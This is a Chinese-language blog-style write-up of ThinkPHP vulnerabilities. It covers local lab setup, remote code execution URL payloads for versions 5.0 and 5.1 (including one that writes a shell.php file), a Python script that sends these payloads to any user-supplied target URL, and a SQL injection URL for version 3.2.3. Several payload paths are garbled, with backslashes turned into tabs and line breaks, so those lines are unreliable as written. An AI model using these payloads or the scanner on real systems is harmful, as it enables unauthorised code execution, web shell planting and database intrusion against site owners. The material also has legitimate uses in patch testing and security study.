thinkphp5.0&5.1命令执行 和 thinkphp3.2.3sql注入

Thinkphp5.0.x环境搭建

直接将源码解压就行，访问public目录即可，例如http://127.0.0.1/cms/thinkphp/public

 

 

Thinkphp5.0.x远程代码执行

payload：http://127.0.0.1/cms/thinkphp/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

Thinkphp5.1.x搭建方法和5.0.x一样

Payload：

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/think equest/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

Python3 poc：

#coding:utf-8
import requests
headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}
def poc(target):
    try:
        poc = [r"/index.php?s=index/think
equest/input?data[]=phpinfo()&filter=assert",
               r"/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()",
               r"/index.php?s=index/	hink	emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>",
               r"/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()"]
        for i in poc:
            url = target + str(i)
            html = requests.get(url,headers=headers)
            if  "<title>phpinfo()</title>" in html.text:
                print("目标存在漏洞："+url)
    except:
        pass
if __name__ == "__main__":
    target = input("请输入目标url：")
    poc(target)

Thinkphp3.2.3环境搭建

修改ApplicationCommonConfconfig.php配置文件，添加数据库配置信息。

这里不知道为什么声明编码的时候会出错，注释掉就正常了。

<?php

return array(

//'配置项'=>'配置值'

'DB_TYPE' => 'mysql',

'DB_HOST' => 'localhost',

'DB_NAME' => 'tp',

'DB_USER' => 'root',

'DB_PWD' => 'root',

'DB_PORT' => '3306',

'DB_FIELDS_CACHE' => true,

//'DB_CHARSET' => 'utf-8',

''

);

?>

然后在ApplicationHomeControllerIndexController.class.php 添加以下代码:

public function test()

    {

       $id = i('id');

       $res = M('user')->find($id);

       //$res = M('user')->delete($id);

       //$res = M('user')->select($id);

}

注入点（代码能力有限，暂时不能对漏洞原理进行分析）：

http://127.0.0.1/cms/thinkphp3.2.1/index.php?m=Home&c=Index&a=test&id[where]=1